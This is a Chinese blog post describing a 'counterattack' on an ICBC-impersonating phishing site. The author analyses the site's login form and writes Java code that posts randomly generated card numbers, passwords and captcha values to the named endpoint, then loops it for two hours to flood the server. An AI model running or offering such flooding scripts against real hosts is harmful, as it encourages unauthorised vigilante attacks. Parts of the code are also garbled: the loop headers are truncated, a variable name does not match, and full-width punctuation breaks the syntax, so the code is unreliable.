巧用网页分析“反击”钓鱼网站

接触网络一段时间的用户都会多多少少遇到一些钓鱼网站,而作为开发者遇到的钓鱼网站更是数不胜数,有时稍不留神就会被钓鱼网站将自己的重要信息钓走,对于钓鱼网站也是咬牙切齿,当发现钓鱼网站后,总是气愤后关闭离开,或者有些正义感的朋友会选择举报该网站。这一次笔者通过分析钓鱼网站获得其传输方法,发送垃圾数据反击作者。

先说说今天的经历,今天早上去了一趟科技市场,回来发现笔者两台不同的手机多了两条相同的发自95588的信息,大致的内容是笔者的工行密保被冻结了,登陆wap-icbce.pw去解冻,咋看下去好像确实有点蹊跷,登陆上去还真是有模有样:

笔者乱输入了一个卡号和密码,会显示这样的一个界面

无论你输入什么,他都会显示这样一个界面,后来笔者又去工行确认了一下,人工服务告诉笔者这确实是一个钓鱼网站。笔者作为一个一身正气的人怎么能置之不理呢?首先笔者先举报了这个网站,发现这还没解气,笔者尝试使用电脑登陆这个网站,发现这个网站为了防止电脑的防护软件还不让电脑来登陆了。

没关系,使用强大的chrome笔者成功的在电脑上打开了这个网站(方法不具体说明了,详细参阅百度百科上的chrome开启手机网站的方法)

现在可以开始分析网站的源代码了,该钓鱼网站使用。net技术进行编写,感觉网站除了设计方面剩下都是粗制滥造,验证码也是放着其实并没有进行验证,网站的首页是一个识别是否是手机登陆的小图片,如果是手机登陆点击会使用submit字段随便传回一段字符,猜测在该网页的服务器端判断这submit字符应该仅仅使用是否为null来进行判断。

进入这个登录界面,能看到里边table字段中清晰的写着用户名密码以及验证码的name,而且获取方式是使用post获取,字符编码使用gb2312,网站分析基本到此结束,现在好戏开场了,首先笔者使用java编写一段发送数据至asp的java访问代码:

public static String doPost(String reqUrl, Map parameters, String recvEncoding) {

HttpURLConnection conn = null;

String responseContent = null;

try {

StringBuffer params = new StringBuffer();

for (Iterator iter = parameters.entrySet()。iterator(); iter.hasNext();) {

Entry element = (Entry) iter.next();

params.append(element.getKey()。toString());

params.append(”=”);

params.append(URLEncoder.encode(element.getValue()。toString(), recvEncoding));

params.append(”&”);

}

if (params.length() > 0) {

params = params.deleteCharAt(params.length() – 1);

}

URL url = new URL(reqUrl);

HttpURLConnection url_con = (HttpURLConnection) url.openConnection();

url_con.setRequestMethod(”POST”);

url_con.setConnectTimeout(5000);//(单位:毫秒)jdk

url_con.setDoOutput(true);

byte[] b = params.toString()。getBytes();

url_con.getOutputStream()。write(b, 0, b.length);

url_con.getOutputStream()。flush();

url_con.getOutputStream()。close();

InputStream in = url_con.getInputStream();

BufferedReader rd = new BufferedReader(new InputStreamReader(in, recvEncoding));

String tempLine = rd.readLine();

StringBuffer tempStr = new StringBuffer();

String crlf = System.getProperty(”line.separator”);

while (tempLine != null) {

tempStr.append(tempLine);

tempStr.append(crlf);

tempLine = rd.readLine();

}

responseContent = tempStr.toString();

rd.close();

in.close();

} catch (IOException e) {

e.printStackTrace();

} finally {

if (conn != null) {

conn.disconnect();

}

}

return responseContent;

}

测试没问题后,既然要冲击网站,先要随机一些银行卡用户名和密码。

先定义一些需要用到的参数以及要攻击网站的action以及发送的字符编码:

Map m = new HashMap();

String url = “http://wap-icbce.pw/add_1.asp”;

String code = “gb2312″;

首先银行卡前缀一般是固定的,前十位不随机生成:

String randomcarnum10=”6222022102″;

后9位就进行一个随机生成的工作:

int randomnum;

randomnum = (int) (Math.random()*1000000000);

randomcarnum10+=randomnum;

按照大部分人的习惯,密码都是前面几个字母+后边几个数字,随机前后字母的数量随机生成:

int loopentime,loopnumtime;

loopentime=(int) (Math.random()*10);//随机的英文密码长度

loopnumtime=(int) (Math.random()*10);//随机的中文密码长度

String randompsw = “”;

String chars = “abcdefghijklmnopqrstuvwxyz”;

for(int i=0;i

randompsw+=chars.charAt((int)(Math.random() * 26));

for(int i=0;i

randompsw+=(int)(Math.random() * 10);

为了以防万一,验证码也随机生成提交:

String randomidcode;

randomidcode=(int)(Math.random()*10000)+””;

最后将数据直接发送到钓鱼网站服务器端:

m.put(”logonCardNum”, randomcarnum);

m.put(”netType”, randompsw);

m.put(”randomId”, randomidcode);

String rus = doPost(url, m, code);

//

System.out.println(rus);

让看看成果吧,在程序代码的最后笔者在控制台中输出了钓鱼网站返回的html文本内容

html

对比一下钓鱼网站出现的等待跳转界面的html文本内容,基本能确定应该是已经上传数据成功了!写个循环,让程序跑个2小时

这次网站攻击采用了简单的网页关键信息获取方法,以及编写简单的java代码,达到反击钓鱼网站的目的,写这篇文章也是希望能够抛砖引玉,大神轻喷,笔者有什么建议私信给笔者,笔者会很乐于接受多学习多改进。

上一篇:PHP回调后门

下一篇:基于vpn和透明代理的web漏洞扫描器的实现